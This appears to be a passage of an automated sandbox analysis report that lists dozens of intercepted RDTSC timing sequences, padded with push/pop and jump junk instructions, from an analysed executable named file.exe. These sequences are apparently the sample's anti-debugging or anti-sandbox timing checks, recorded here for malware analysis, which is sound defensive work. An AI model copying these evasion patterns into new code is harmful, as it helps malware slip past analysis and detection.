Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6E77 second address: 5A6E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA017 second address: 5AA031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E8D838DFh 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA031 second address: 5AA081 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F23h 0x00000007 jmp 00007F32E9641F22h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F32E9641F1Ch 0x00000016 jo 00007F32E9641F16h 0x0000001c jmp 00007F32E9641F29h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE993 second address: 5AE9CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnc 00007F32E8D838D6h 0x00000009 jmp 00007F32E8D838E6h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F32E8D838E8h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AEB2F second address: 5AEB37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AEB37 second address: 5AEB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F32E8D838D6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AEB45 second address: 5AEB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AEB4D second address: 5AEB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jnc 00007F32E8D838E8h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AEB77 second address: 5AEB89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F32E9641F1Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AEB89 second address: 5AEB93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F32E8D838D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55FA1B second address: 55FA24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF203 second address: 5AF207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF207 second address: 5AF244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F32E9641F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32E9641F26h 0x00000013 jmp 00007F32E9641F29h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFC72 second address: 5AFC76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFC76 second address: 5AFC80 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E9641F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFC80 second address: 5AFC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7F93 second address: 5B7FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F32E9641F16h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8AD9 second address: 5B8AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F32E8D838D6h 0x0000000c jmp 00007F32E8D838DBh 0x00000011 je 00007F32E8D838D6h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8AFA second address: 5B8B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F32E9641F16h 0x0000000a jmp 00007F32E9641F29h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F32E9641F16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8B28 second address: 5B8B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55FD0D second address: 55FD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8E38 second address: 5B8E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F32E8D838E6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32E8D838E3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8E6A second address: 5B8E87 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F32E9641F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F32E9641F1Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8E87 second address: 5B8E8F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9737 second address: 5B973B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B973B second address: 5B977C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F32E8D838D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F32E8D838DCh 0x00000012 je 00007F32E8D838F5h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5053C2 second address: 5053CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F32E9641F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5053CC second address: 5053F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F32E8D838D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC93B second address: 5BC943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC943 second address: 5BC960 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F32E8D838DDh 0x0000000f js 00007F32E8D838D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC960 second address: 5BC964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCD81 second address: 5BCD85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCD85 second address: 5BCDBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F32E9641F26h 0x00000012 jmp 00007F32E9641F1Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCDBA second address: 5BCDD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F32E8D838E1h 0x0000000b popad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCDD7 second address: 5BCDE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F32E9641F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCF16 second address: 5BCF20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F32E8D838D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD094 second address: 5BD0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007F32E9641F2Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD0BB second address: 5BD0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD265 second address: 5BD269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD269 second address: 5BD272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD272 second address: 5BD282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F1Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD282 second address: 5BD2AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F32E8D838E8h 0x0000000c jmp 00007F32E8D838DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD436 second address: 5BD43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD43A second address: 5BD456 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD456 second address: 5BD487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F28h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F32E9641F25h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD487 second address: 5BD48B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD48B second address: 5BD491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD5E4 second address: 5BD5E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD5E8 second address: 5BD5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD5F2 second address: 5BD628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DDh 0x00000007 jnl 00007F32E8D838D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 je 00007F32E8D838F8h 0x00000016 push eax 0x00000017 push edi 0x00000018 pop edi 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F32E8D838E2h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50BE69 second address: 50BE6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50BE6F second address: 50BE75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3A2A second address: 5C3A2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3A2F second address: 5C3A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3A35 second address: 5C3A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007F32E9641F1Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB921 second address: 5CB932 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jl 00007F32E8D838E0h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBE60 second address: 5CBE7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBE7A second address: 5CBE80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBE80 second address: 5CBE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBFEA second address: 5CC010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E8D838DCh 0x00000009 popad 0x0000000a jns 00007F32E8D838D8h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jnp 00007F32E8D838D6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC010 second address: 5CC01C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC01C second address: 5CC021 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC197 second address: 5CC19D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC636 second address: 5CC643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F32E8D838D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC643 second address: 5CC647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC647 second address: 5CC654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CCD8D second address: 5CCD91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD530 second address: 5CD534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD534 second address: 5CD538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB30B second address: 5CB329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F32E8D838E3h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB329 second address: 5CB342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007F32E9641F22h 0x0000000d jg 00007F32E9641F16h 0x00000013 jl 00007F32E9641F16h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D29DB second address: 5D29DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2C88 second address: 5D2CA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2CA0 second address: 5D2CB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F32E8D838E0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E091D second address: 5E093A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F32E9641F21h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E093A second address: 5E093E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E093E second address: 5E0944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0944 second address: 5E0959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0452 second address: 5E0462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F32E9641F16h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0462 second address: 5E0466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0466 second address: 5E046A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E29C5 second address: 5E29CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E29CC second address: 5E29ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F29h 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2696 second address: 5E26A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F32E8D838D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E26A2 second address: 5E26A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E26A8 second address: 5E26AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9799 second address: 5E979F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E979F second address: 5E97A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FEAE0 second address: 5FEAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD51C second address: 5FD522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE804 second address: 5FE809 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60247C second address: 6024A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F32E8D838E7h 0x0000000c popad 0x0000000d pushad 0x0000000e jnp 00007F32E8D838DEh 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6024A6 second address: 6024B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6024B6 second address: 6024BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E405 second address: 60E422 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F27h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612D1B second address: 612D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F32E8D838D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612D25 second address: 612D67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F21h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F32E9641F1Bh 0x00000013 js 00007F32E9641F16h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F32E9641F24h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616EA8 second address: 616EBE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E8D838DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616EBE second address: 616EC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
